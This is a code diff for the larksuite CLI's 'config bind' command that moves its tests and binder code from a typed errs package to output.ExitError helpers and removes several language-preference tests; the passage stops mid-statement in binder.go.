--- a/cmd/config/bind_test.go
+++ b/cmd/config/bind_test.go
@@ -13,53 +13,30 @@ import (
 	"strings"
 	"testing"

-	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/i18n"
 	"github.com/larksuite/cli/internal/output"
 )

-// wantErrDetail is the normalized comparison shape for a typed error's wire
-// fields: Type is the error's Category string ("validation", "config", ...),
-// alongside Message and Hint.
-type wantErrDetail struct {
-	Type    string
-	Message string
-	Hint    string
-}
-
-// assertExitError checks the full structured error in one assertion against a
-// typed error (ValidationError or ConfigError), normalizing its Category /
-// Message / Hint to wantDetail.
-func assertExitError(t *testing.T, err error, wantCode int, wantDetail wantErrDetail) {
+// assertExitError checks the full structured error in one assertion.
+func assertExitError(t *testing.T, err error, wantCode int, wantDetail output.ErrDetail) {
 	t.Helper()
 	if err == nil {
 		t.Fatal("expected error, got nil")
 	}
-	var ve *errs.ValidationError
-	if errors.As(err, &ve) {
-		if got := output.ExitCodeOf(err); got != wantCode {
-			t.Errorf("exit code = %d, want %d", got, wantCode)
-		}
-		gotDetail := wantErrDetail{Type: string(ve.Category), Message: ve.Message, Hint: ve.Hint}
-		if !reflect.DeepEqual(gotDetail, wantDetail) {
-			t.Errorf("validation error mismatch:\n  got:  %+v\n  want: %+v", gotDetail, wantDetail)
-		}
-		return
+	var exitErr *output.ExitError
+	if !errors.As(err, &exitErr) {
+		t.Fatalf("error type = %T, want *output.ExitError; error = %v", err, err)
 	}
-	var ce *errs.ConfigError
-	if errors.As(err, &ce) {
-		if got := output.ExitCodeOf(err); got != wantCode {
-			t.Errorf("exit code = %d, want %d", got, wantCode)
-		}
-		gotDetail := wantErrDetail{Type: string(ce.Category), Message: ce.Message, Hint: ce.Hint}
-		if !reflect.DeepEqual(gotDetail, wantDetail) {
-			t.Errorf("config error mismatch:\n  got:  %+v\n  want: %+v", gotDetail, wantDetail)
-		}
-		return
+	if exitErr.Code != wantCode {
+		t.Errorf("exit code = %d, want %d", exitErr.Code, wantCode)
+	}
+	if exitErr.Detail == nil {
+		t.Fatal("expected non-nil error detail")
+	}
+	if !reflect.DeepEqual(*exitErr.Detail, wantDetail) {
+		t.Errorf("error detail mismatch:\n  got:  %+v\n  want: %+v", *exitErr.Detail, wantDetail)
 	}
-	t.Fatalf("error type = %T, want *errs.ValidationError / *errs.ConfigError; error = %v", err, err)
 }

 // assertEnvelope decodes stdout and checks it matches want exactly — every key
@@ -128,235 +105,14 @@ func TestConfigBindCmd_LangDefault(t *testing.T) {
 	if err := cmd.Execute(); err != nil {
 		t.Fatalf("unexpected error: %v", err)
 	}
-	if gotOpts.Lang != "" {
-		t.Errorf("Lang = %q, want default %q (unset)", gotOpts.Lang, "")
+	if gotOpts.Lang != "zh" {
+		t.Errorf("Lang = %q, want default %q", gotOpts.Lang, "zh")
 	}
 	if gotOpts.langExplicit {
 		t.Error("expected langExplicit=false when --lang not passed")
 	}
 }

-// TestConfigBindRun_InvalidLang verifies a non-empty --lang is strictly
-// validated: wrong case, typos, and removed codes all exit with
-// ExitValidation (code 2) and a message identifying the offending value.
-// (Empty is not invalid — see TestConfigBindRun_EmptyLangIsNoOp.)
-func TestConfigBindRun_InvalidLang(t *testing.T) {
-	saveWorkspace(t)
-	configDir := t.TempDir()
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", configDir)
-	hermesHome := t.TempDir()
-	t.Setenv("HERMES_HOME", hermesHome)
-	if err := os.WriteFile(filepath.Join(hermesHome, ".env"), []byte("FEISHU_APP_ID=cli_abc\nFEISHU_APP_SECRET=secret\n"), 0600); err != nil {
-		t.Fatalf("write .env: %v", err)
-	}
-
-	cases := []struct {
-		name string
-		lang string
-	}{
-		{"wrong case ZH", "ZH"},
-		{"typo frr", "frr"},
-		{"removed code ar", "ar"},
-		{"unknown xx", "xx"},
-		{"hyphen form zh-CN", "zh-CN"},
-	}
-
-	for _, tc := range cases {
-		t.Run(tc.name, func(t *testing.T) {
-			f, _, _, _ := cmdutil.TestFactory(t, nil)
-			err := configBindRun(&BindOptions{
-				Factory:      f,
-				Source:       "hermes",
-				Lang:         tc.lang,
-				langExplicit: true,
-			})
-			if err == nil {
-				t.Fatalf("expected validation error for --lang %q, got nil", tc.lang)
-			}
-			var valErr *errs.ValidationError
-			if !errors.As(err, &valErr) {
-				t.Fatalf("expected *errs.ValidationError, got %T: %v", err, err)
-			}
-			if valErr.Subtype != errs.SubtypeInvalidArgument {
-				t.Errorf("subtype = %q, want %q", valErr.Subtype, errs.SubtypeInvalidArgument)
-			}
-			if valErr.Param != "--lang" {
-				t.Errorf("param = %q, want %q", valErr.Param, "--lang")
-			}
-			if got := output.ExitCodeOf(err); got != output.ExitValidation {
-				t.Errorf("exit code = %d, want %d (validation)", got, output.ExitValidation)
-			}
-			if !strings.Contains(err.Error(), "invalid --lang") {
-				t.Errorf("error message %q does not contain 'invalid --lang'", err.Error())
-			}
-		})
-	}
-}
-
-// TestConfigBindRun_EmptyLangIsNoOp verifies that an empty --lang (omitted or
-// explicit "") is unset: it neither errors nor persists a language, while a
-// non-empty short code or Feishu locale both canonicalize to the same locale.
-func TestConfigBindRun_EmptyLangIsNoOp(t *testing.T) {
-	cases := []struct {
-		name     string
-		lang     string
-		explicit bool
-		wantLang i18n.Lang
-	}{
-		{"omitted", "", false, ""},
-		{"explicit empty", "", true, ""},
-		{"short code", "ja", true, i18n.LangJaJP},
-		{"feishu locale", "ja_jp", true, i18n.LangJaJP},
-	}
-
-	for _, tc := range cases {
-		t.Run(tc.name, func(t *testing.T) {
-			saveWorkspace(t)
-			t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-			hermesHome := t.TempDir()
-			t.Setenv("HERMES_HOME", hermesHome)
-			if err := os.WriteFile(filepath.Join(hermesHome, ".env"), []byte("FEISHU_APP_ID=cli_abc\nFEISHU_APP_SECRET=secret\n"), 0600); err != nil {
-				t.Fatalf("write .env: %v", err)
-			}
-
-			f, _, _, _ := cmdutil.TestFactory(t, nil)
-			if err := configBindRun(&BindOptions{
-				Factory:      f,
-				Source:       "hermes",
-				Lang:         tc.lang,
-				langExplicit: tc.explicit,
-			}); err != nil {
-				t.Fatalf("configBindRun(--lang %q) = %v, want nil", tc.lang, err)
-			}
-
-			multi, err := core.LoadMultiAppConfig()
-			if err != nil {
-				t.Fatalf("LoadMultiAppConfig: %v", err)
-			}
-			app := multi.CurrentAppConfig("")
-			if app == nil {
-				t.Fatal("no app persisted")
-			}
-			if app.Lang != tc.wantLang {
-				t.Errorf("persisted Lang = %q, want %q", app.Lang, tc.wantLang)
-			}
-		})
-	}
-}
-
-// TestConfigBindRun_OmitLangPreservesPrior guards against a re-bind without
-// --lang silently dropping a previously stored preference (appConfig is rebuilt
-// fresh, so commitBinding must inherit the prior Lang).
-func TestConfigBindRun_OmitLangPreservesPrior(t *testing.T) {
-	saveWorkspace(t)
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-	hermesHome := t.TempDir()
-	t.Setenv("HERMES_HOME", hermesHome)
-	if err := os.WriteFile(filepath.Join(hermesHome, ".env"), []byte("FEISHU_APP_ID=cli_abc\nFEISHU_APP_SECRET=secret\n"), 0600); err != nil {
-		t.Fatalf("write .env: %v", err)
-	}
-
-	f1, _, _, _ := cmdutil.TestFactory(t, nil)
-	if err := configBindRun(&BindOptions{Factory: f1, Source: "hermes", Lang: "ja", langExplicit: true}); err != nil {
-		t.Fatalf("first bind (--lang ja): %v", err)
-	}
-	f2, _, _, _ := cmdutil.TestFactory(t, nil)
-	if err := configBindRun(&BindOptions{Factory: f2, Source: "hermes", Lang: "", langExplicit: false}); err != nil {
-		t.Fatalf("re-bind (no --lang): %v", err)
-	}
-
-	multi, err := core.LoadMultiAppConfig()
-	if err != nil {
-		t.Fatalf("LoadMultiAppConfig: %v", err)
-	}
-	if app := multi.CurrentAppConfig(""); app == nil || app.Lang != i18n.LangJaJP {
-		t.Errorf("Lang after re-bind = %v, want %q (preserved)", app, i18n.LangJaJP)
-	}
-}
-
-// TestPriorLang_RespectsCurrentApp guards against priorLang scanning all apps
-// and silently returning a non-current profile's Lang. In a multi-profile
-// workspace (set up via `profile add` before a re-bind), the active profile's
-// Lang must win over a sibling profile that happens to sit earlier in the slice.
-func TestPriorLang_RespectsCurrentApp(t *testing.T) {
-	multi := core.MultiAppConfig{
-		CurrentApp: "active",
-		Apps: []core.AppConfig{
-			{Name: "stale", AppId: "cli_stale", Lang: i18n.LangJaJP},
-			{Name: "active", AppId: "cli_active", Lang: i18n.LangEnUS},
-		},
-	}
-	bytes, err := json.Marshal(multi)
-	if err != nil {
-		t.Fatalf("marshal: %v", err)
-	}
-	if got := priorLang(bytes); got != i18n.LangEnUS {
-		t.Errorf("priorLang = %q, want %q (must follow CurrentApp, not Apps[0])", got, i18n.LangEnUS)
-	}
-}
-
-// TestPriorLang_FallsBackToFirstAppWhenCurrentUnset covers the legacy
-// single-app shape (no CurrentApp): CurrentAppConfig falls back to Apps[0],
-// so a bind-written config (which always has exactly one app and no
-// CurrentApp field) still inherits its Lang.
-func TestPriorLang_FallsBackToFirstAppWhenCurrentUnset(t *testing.T) {
-	multi := core.MultiAppConfig{
-		Apps: []core.AppConfig{
-			{AppId: "cli_only", Lang: i18n.LangJaJP},
-		},
-	}
-	bytes, err := json.Marshal(multi)
-	if err != nil {
-		t.Fatalf("marshal: %v", err)
-	}
-	if got := priorLang(bytes); got != i18n.LangJaJP {
-		t.Errorf("priorLang = %q, want %q", got, i18n.LangJaJP)
-	}
-}
-
-// TestPriorLang_MalformedReturnsEmpty exercises the unparseable-bytes branch.
-func TestPriorLang_MalformedReturnsEmpty(t *testing.T) {
-	if got := priorLang([]byte("not json")); got != "" {
-		t.Errorf("priorLang(malformed) = %q, want \"\"", got)
-	}
-}
-
-// TestConfigBindRun_EnvelopeMessageFollowsInheritedLang guards the JSON envelope
-// "message" field against regressing to opts.Lang: when --lang is omitted on
-// re-bind, the inherited preference (appConfig.Lang) must drive the message
-// language and the embedded brand display — otherwise an AI agent that set
-// English on first bind sees Chinese in every subsequent re-bind envelope.
-func TestConfigBindRun_EnvelopeMessageFollowsInheritedLang(t *testing.T) {
-	saveWorkspace(t)
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-	hermesHome := t.TempDir()
-	t.Setenv("HERMES_HOME", hermesHome)
-	if err := os.WriteFile(filepath.Join(hermesHome, ".env"), []byte("FEISHU_APP_ID=cli_abc\nFEISHU_APP_SECRET=secret\n"), 0600); err != nil {
-		t.Fatalf("write .env: %v", err)
-	}
-
-	f1, _, _, _ := cmdutil.TestFactory(t, nil)
-	if err := configBindRun(&BindOptions{Factory: f1, Source: "hermes", Lang: "en", langExplicit: true}); err != nil {
-		t.Fatalf("first bind (--lang en): %v", err)
-	}
-
-	f2, stdout, _, _ := cmdutil.TestFactory(t, nil)
-	if err := configBindRun(&BindOptions{Factory: f2, Source: "hermes", Lang: "", langExplicit: false}); err != nil {
-		t.Fatalf("re-bind (no --lang): %v", err)
-	}
-
-	envelope := map[string]any{}
-	if err := json.Unmarshal(stdout.Bytes(), &envelope); err != nil {
-		t.Fatalf("invalid JSON output: %v", err)
-	}
-	msg, _ := envelope["message"].(string)
-	enMsg := getBindMsg(i18n.LangEnUS)
-	wantMsg := fmt.Sprintf(enMsg.MessageBotOnly, "cli_abc", "Hermes", brandDisplay("feishu", i18n.LangEnUS))
-	if msg != wantMsg {
-		t.Errorf("envelope.message = %q,\nwant %q (must follow inherited appConfig.Lang=en_us, not raw opts.Lang)", msg, wantMsg)
-	}
-}
-
 // ── Run function tests (aligned with TestConfigShowRun pattern) ──

 func TestConfigBindRun_InvalidSource(t *testing.T) {
@@ -365,7 +121,7 @@ func TestConfigBindRun_InvalidSource(t *testing.T) {

 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "invalid"})
-	assertExitError(t, err, output.ExitValidation, wantErrDetail{
+	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
 		Type:    "validation",
 		Message: `invalid --source "invalid"; valid values: openclaw, hermes, lark-channel`,
 	})
@@ -382,8 +138,8 @@ func TestConfigBindRun_MissingSourceNonTTY(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	// TestFactory has IsTerminal=false by default
 	err := configBindRun(&BindOptions{Factory: f, Source: ""})
-	assertExitError(t, err, output.ExitValidation, wantErrDetail{
-		Type:    "validation",
+	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+		Type:    "bind",
 		Message: "cannot determine Agent source: no --source flag and no Agent environment detected",
 		Hint:    "pass --source openclaw|hermes|lark-channel, or run this command inside the corresponding Agent context",
 	})
@@ -421,8 +177,8 @@ func TestConfigBindRun_SourceEnvMismatch_OpenClawFlagInHermesEnv(t *testing.T) {

 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "openclaw"})
-	assertExitError(t, err, output.ExitValidation, wantErrDetail{
-		Type:    "validation",
+	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+		Type:    "bind",
 		Message: `--source "openclaw" does not match detected Agent environment (hermes)`,
 		Hint:    "remove --source to auto-detect, or run this command in the correct Agent context",
 	})
@@ -437,8 +193,8 @@ func TestConfigBindRun_SourceEnvMismatch_HermesFlagInOpenClawEnv(t *testing.T) {

 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "hermes"})
-	assertExitError(t, err, output.ExitValidation, wantErrDetail{
-		Type:    "validation",
+	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+		Type:    "bind",
 		Message: `--source "hermes" does not match detected Agent environment (openclaw)`,
 		Hint:    "remove --source to auto-detect, or run this command in the correct Agent context",
 	})
@@ -566,8 +322,8 @@ func TestConfigBindRun_HermesMissingEnvFile(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "hermes"})
 	envPath := filepath.Join(hermesHome, ".env")
-	assertExitError(t, err, output.ExitAuth, wantErrDetail{
-		Type:    "config",
+	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+		Type:    "hermes",
 		Message: "failed to read Hermes config: open " + envPath + ": no such file or directory",
 		Hint:    "verify Hermes is installed and configured at " + envPath,
 	})
@@ -584,8 +340,8 @@ func TestConfigBindRun_OpenClawMissingFile(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "openclaw"})
 	configPath := filepath.Join(openclawHome, ".openclaw", "openclaw.json")
-	assertExitError(t, err, output.ExitAuth, wantErrDetail{
-		Type:    "config",
+	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+		Type:    "openclaw",
 		Message: "cannot read " + configPath + ": open " + configPath + ": no such file or directory",
 		Hint:    "verify OpenClaw is installed and configured",
 	})
@@ -731,8 +487,8 @@ func TestConfigBindRun_SourceEnvMismatch_LarkChannelFlagInOpenClawEnv(t *testing

 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "lark-channel"})
-	assertExitError(t, err, output.ExitValidation, wantErrDetail{
-		Type:    "validation",
+	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+		Type:    "bind",
 		Message: `--source "lark-channel" does not match detected Agent environment (openclaw)`,
 		Hint:    "remove --source to auto-detect, or run this command in the correct Agent context",
 	})
@@ -750,8 +506,8 @@ func TestConfigBindRun_LarkChannelMissingFile(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "lark-channel"})
 	configPath := filepath.Join(fakeHome, ".lark-channel", "config.json")
-	assertExitError(t, err, output.ExitAuth, wantErrDetail{
-		Type:    "config",
+	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+		Type:    "lark-channel",
 		Message: "cannot read " + configPath + ": open " + configPath + ": no such file or directory",
 		Hint:    "verify lark-channel-bridge is installed and configured",
 	})
@@ -770,8 +526,8 @@ func TestConfigBindRun_LarkChannelEmptyAppID(t *testing.T) {

 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "lark-channel"})
-	assertExitError(t, err, output.ExitAuth, wantErrDetail{
-		Type:    "config",
+	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+		Type:    "lark-channel",
 		Message: "accounts.app.id missing in " + configPath,
 		Hint:    "run lark-channel-bridge's setup to populate the app credential",
 	})
@@ -789,8 +545,8 @@ func TestConfigBindRun_LarkChannelEmptySecret(t *testing.T) {

 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "lark-channel"})
-	assertExitError(t, err, output.ExitAuth, wantErrDetail{
-		Type:    "config",
+	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+		Type:    "lark-channel",
 		Message: "accounts.app.secret is empty in " + configPath,
 		Hint:    "run lark-channel-bridge's setup to populate the app credential",
 	})
@@ -835,19 +591,15 @@ func TestConfigShowRun_AgentWorkspaceNotBound(t *testing.T) {
 		t.Fatal("expected error for unbound workspace")
 	}
 	// Should be a structured ConfigError suggesting config bind, not config init.
-	var cfgErr *errs.ConfigError
+	var cfgErr *core.ConfigError
 	if !errors.As(err, &cfgErr) {
-		t.Fatalf("error type = %T, want *errs.ConfigError", err)
+		t.Fatalf("error type = %T, want *core.ConfigError", err)
 	}
-	// Config errors share ExitAuth (3); the workspace is detected but no
-	// binding exists yet, which is a config error.
-	if got := output.ExitCodeOf(err); got != output.ExitAuth {
-		t.Errorf("exit code = %d, want %d (config category → ExitAuth)", got, output.ExitAuth)
+	if cfgErr.Code != output.ExitValidation {
+		t.Errorf("exit code = %d, want %d", cfgErr.Code, output.ExitValidation)
 	}
-	// The workspace name stays out of the wire subtype; it only appears in
-	// the message.
-	if cfgErr.Subtype != errs.SubtypeNotConfigured {
-		t.Errorf("subtype = %q, want not_configured", cfgErr.Subtype)
+	if cfgErr.Type != "openclaw" {
+		t.Errorf("type = %q, want %q", cfgErr.Type, "openclaw")
 	}
 	if !strings.Contains(cfgErr.Message, "openclaw context detected") {
 		t.Errorf("message missing 'openclaw context detected': %q", cfgErr.Message)
@@ -1143,8 +895,12 @@ func TestConfigBindRun_OpenClawMultiAccount_MissingAppID(t *testing.T) {
 	if err == nil {
 		t.Fatal("expected error for multi-account without --app-id, got nil")
 	}
-	if gotCode := output.ExitCodeOf(err); gotCode != output.ExitValidation {
-		t.Errorf("exit code = %d, want %d", gotCode, output.ExitValidation)
+	var exitErr *output.ExitError
+	if !errors.As(err, &exitErr) {
+		t.Fatalf("error type = %T, want *output.ExitError", err)
+	}
+	if exitErr.Code != output.ExitValidation {
+		t.Errorf("exit code = %d, want %d", exitErr.Code, output.ExitValidation)
 	}
 }

@@ -1189,8 +945,8 @@ func TestConfigBindRun_OpenClawMultiAccount_TTYFlagMode(t *testing.T) {
 	// iterates a map — ordering is non-deterministic. DeepEqual inline against
 	// each accepted variant so every ErrDetail field (Type, Code, Message,
 	// Hint, ConsoleURL, Detail, and any future addition) is still compared.
-	base := wantErrDetail{
-		Type:    "validation",
+	base := output.ErrDetail{
+		Type:    "openclaw",
 		Message: "multiple accounts in openclaw.json; pass --app-id <id>",
 	}
 	wantWorkFirst := base
@@ -1198,17 +954,20 @@ func TestConfigBindRun_OpenClawMultiAccount_TTYFlagMode(t *testing.T) {
 	wantPersonalFirst := base
 	wantPersonalFirst.Hint = "available app IDs:\n  cli_personal_222 (personal)\n  cli_work_111 (work)"

-	if gotCode := output.ExitCodeOf(err); gotCode != output.ExitValidation {
-		t.Errorf("exit code = %d, want %d", gotCode, output.ExitValidation)
+	var exitErr *output.ExitError
+	if !errors.As(err, &exitErr) {
+		t.Fatalf("error type = %T, want *output.ExitError; err = %v", err, err)
 	}
-	var ve *errs.ValidationError
-	if !errors.As(err, &ve) {
-		t.Fatalf("error type = %T, want *errs.ValidationError; err = %v", err, err)
+	if exitErr.Code != output.ExitValidation {
+		t.Errorf("exit code = %d, want %d", exitErr.Code, output.ExitValidation)
 	}
-	got := wantErrDetail{Type: string(ve.Category), Message: ve.Message, Hint: ve.Hint}
-	if !reflect.DeepEqual(got, wantWorkFirst) && !reflect.DeepEqual(got, wantPersonalFirst) {
+	if exitErr.Detail == nil {
+		t.Fatal("expected non-nil error detail")
+	}
+	if !reflect.DeepEqual(*exitErr.Detail, wantWorkFirst) &&
+		!reflect.DeepEqual(*exitErr.Detail, wantPersonalFirst) {
 		t.Errorf("error detail did not match any accepted variant:\n  got:  %+v\n  want: %+v OR %+v",
-			got, wantWorkFirst, wantPersonalFirst)
+			*exitErr.Detail, wantWorkFirst, wantPersonalFirst)
 	}
 }

@@ -1232,8 +991,8 @@ func TestConfigBindRun_OpenClawMultiAccount_WrongAppID(t *testing.T) {

 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "openclaw", AppID: "nonexistent"})
-	assertExitError(t, err, output.ExitValidation, wantErrDetail{
-		Type:    "validation",
+	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+		Type:    "openclaw",
 		Message: `--app-id "nonexistent" not found in openclaw.json`,
 		Hint:    "available app IDs:\n  cli_only_one",
 	})
@@ -1252,7 +1011,7 @@ func TestConfigBindRun_InvalidIdentity(t *testing.T) {

 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "hermes", Identity: "invalid"})
-	assertExitError(t, err, output.ExitValidation, wantErrDetail{
+	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
 		Type:    "validation",
 		Message: `invalid --identity "invalid"; valid values: bot-only, user-default`,
 	})
@@ -1365,19 +1124,11 @@ func TestConfigBindRun_WarnsOnIdentityEscalationWithoutForce(t *testing.T) {
 		Identity: "user-default",
 	})
 	msg := getBindMsg("zh") // flag mode leaves Lang empty → zh default
-	var ce *errs.ConfirmationRequiredError
-	if !errors.As(err, &ce) {
-		t.Fatalf("error type = %T, want *errs.ConfirmationRequiredError; error = %v", err, err)
-	}
-	if ce.Risk != errs.RiskHighRiskWrite {
-		t.Errorf("Risk = %q, want %q", ce.Risk, errs.RiskHighRiskWrite)
-	}
-	if ce.Message != msg.IdentityEscalationMessage {
-		t.Errorf("Message mismatch:\ngot:  %q\nwant: %q", ce.Message, msg.IdentityEscalationMessage)
-	}
-	if ce.Hint != msg.IdentityEscalationHint {
-		t.Errorf("Hint mismatch:\ngot:  %q\nwant: %q", ce.Hint, msg.IdentityEscalationHint)
-	}
+	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+		Type:    "bind",
+		Message: msg.IdentityEscalationMessage,
+		Hint:    msg.IdentityEscalationHint,
+	})

 	// Config on disk must remain untouched — the gate runs before
 	// commitBinding writes anything.
@@ -1538,8 +1289,8 @@ func TestConfigBindRun_HermesMissingAppID(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "hermes"})
 	envPath := filepath.Join(hermesHome, ".env")
-	assertExitError(t, err, output.ExitAuth, wantErrDetail{
-		Type:    "config",
+	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+		Type:    "hermes",
 		Message: "FEISHU_APP_ID not found in " + envPath,
 		Hint:    "run 'hermes setup' to configure Feishu credentials",
 	})
@@ -1558,8 +1309,8 @@ func TestConfigBindRun_HermesMissingAppSecret(t *testing.T) {
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "hermes"})
 	envPath := filepath.Join(hermesHome, ".env")
-	assertExitError(t, err, output.ExitAuth, wantErrDetail{
-		Type:    "config",
+	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+		Type:    "hermes",
 		Message: "FEISHU_APP_SECRET not found in " + envPath,
 		Hint:    "run 'hermes setup' to configure Feishu credentials",
 	})
@@ -1584,8 +1335,8 @@ func TestConfigBindRun_OpenClawMissingFeishu(t *testing.T) {

 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "openclaw"})
-	assertExitError(t, err, output.ExitAuth, wantErrDetail{
-		Type:    "config",
+	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+		Type:    "openclaw",
 		Message: "openclaw.json missing channels.feishu section",
 		Hint:    "configure Feishu in OpenClaw first",
 	})
@@ -1612,8 +1363,8 @@ func TestConfigBindRun_OpenClawEmptyAppSecret(t *testing.T) {
 	openclawPath := filepath.Join(openclawDir, "openclaw.json")
 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "openclaw"})
-	assertExitError(t, err, output.ExitAuth, wantErrDetail{
-		Type:    "config",
+	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+		Type:    "openclaw",
 		Message: "appSecret is empty for app cli_no_secret in " + openclawPath,
 		Hint:    "configure channels.feishu.appSecret in openclaw.json",
 	})
@@ -1674,8 +1425,8 @@ func TestConfigBindRun_OpenClawDisabledAccount(t *testing.T) {

 	f, _, _, _ := cmdutil.TestFactory(t, nil)
 	err := configBindRun(&BindOptions{Factory: f, Source: "openclaw"})
-	assertExitError(t, err, output.ExitAuth, wantErrDetail{
-		Type:    "config",
+	assertExitError(t, err, output.ExitValidation, output.ErrDetail{
+		Type:    "openclaw",
 		Message: "no Feishu app configured in openclaw.json",
 		Hint:    "configure channels.feishu.appId in openclaw.json",
 	})
@@ -1706,14 +1457,10 @@ func TestGetBindMsg_En(t *testing.T) {
 	}
 }

-func TestGetBindMsg_NonEnLang_FallsBackToZh(t *testing.T) {
-	// Only zh and en TUI bundles exist; any non-English language (canonical
-	// locale, short code, or unrecognized value) falls back to zh.
-	for _, lang := range []i18n.Lang{"fr_fr", "ja_jp", "ko", "unknown", ""} {
-		msg := getBindMsg(lang)
-		if want := "你想在哪个 Agent 中使用 lark-cli?"; msg.SelectSource != want {
-			t.Errorf("getBindMsg(%q) SelectSource = %q, want %q (zh fallback)", lang, msg.SelectSource, want)
-		}
+func TestGetBindMsg_UnknownLang_DefaultsToZh(t *testing.T) {
+	msg := getBindMsg("fr")
+	if want := "你想在哪个 Agent 中使用 lark-cli?"; msg.SelectSource != want {
+		t.Errorf("fr (default) SelectSource = %q, want %q", msg.SelectSource, want)
 	}
 }

@@ -1876,36 +1623,3 @@ func TestHasStrictBotLock(t *testing.T) {
 		})
 	}
 }
-
-// TestConfigBindRun_LangExplicit_PrintsConfirmation covers the flag-mode
-// confirmation line: when --lang is explicit, bind prints "language preference
-// set" to stderr (rendered in the TUI language, embedding the preference value).
-func TestConfigBindRun_LangExplicit_PrintsConfirmation(t *testing.T) {
-	saveWorkspace(t)
-	configDir := t.TempDir()
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", configDir)
-
-	hermesHome := t.TempDir()
-	t.Setenv("HERMES_HOME", hermesHome)
-	if err := os.WriteFile(filepath.Join(hermesHome, ".env"), []byte("FEISHU_APP_ID=cli_abc\nFEISHU_APP_SECRET=secret\n"), 0600); err != nil {
-		t.Fatalf("write .env: %v", err)
-	}
-
-	f, _, stderr, _ := cmdutil.TestFactory(t, nil)
-	err := configBindRun(&BindOptions{
-		Factory:      f,
-		Source:       "hermes",
-		Identity:     "bot-only",
-		Lang:         "en",
-		langExplicit: true,
-	})
-	if err != nil {
-		t.Fatalf("expected success, got error: %v", err)
-	}
-	// The short --lang en is canonicalized to en_us before the confirmation
-	// echoes it back; the TUI language stays zh (flag mode, no picker).
-	want := fmt.Sprintf(getBindMsg(i18n.LangZhCN).LangPreferenceSet, "en_us")
-	if got := stderr.String(); !strings.Contains(got, want) {
-		t.Errorf("stderr = %q, want it to contain confirmation %q", got, want)
-	}
-}
--- a/cmd/config/binder.go
+++ b/cmd/config/binder.go
@@ -9,9 +9,9 @@ import (
 	"path/filepath"
 	"strings"

-	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/binding"
 	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
 	"github.com/larksuite/cli/internal/vfs"
 )

@@ -49,7 +49,7 @@ func newBinder(source string, opts *BindOptions) (SourceBinder, error) {
 	case "lark-channel":
 		return &larkChannelBinder{opts: opts, path: resolveLarkChannelConfigPath()}, nil
 	default:
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "unsupported source: %s", source).WithParam("--source")
+		return nil, output.ErrValidation("unsupported source: %s", source)
 	}
 }

@@ -85,10 +85,11 @@ func selectCandidate(
 		// from ListCandidates itself and never reach here.
 		switch src {
 		case "openclaw":
-			return nil, errs.NewConfigError(errs.SubtypeNotConfigured, "no Feishu app configured in openclaw.json").
-				WithHint("configure channels.feishu.appId in openclaw.json")
+			return nil, output.ErrWithHint(output.ExitValidation, src,
+				"no Feishu app configured in openclaw.json",
+				"configure channels.feishu.appId in openclaw.json")
 		default:
-			return nil, errs.NewConfigError(errs.SubtypeNotConfigured, "%s: no app configured", src)
+			return nil, output.ErrValidation("%s: no app configured", src)
 		}
 	}

@@ -98,9 +99,9 @@ func selectCandidate(
 				return &candidates[i], nil
 			}
 		}
-		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--app-id %q not found in %s", appIDFlag, cfgBase).
-			WithHint("available app IDs:\n  %s", formatCandidates(candidates)).
-			WithParam("--app-id")
+		return nil, output.ErrWithHint(output.ExitValidation, src,
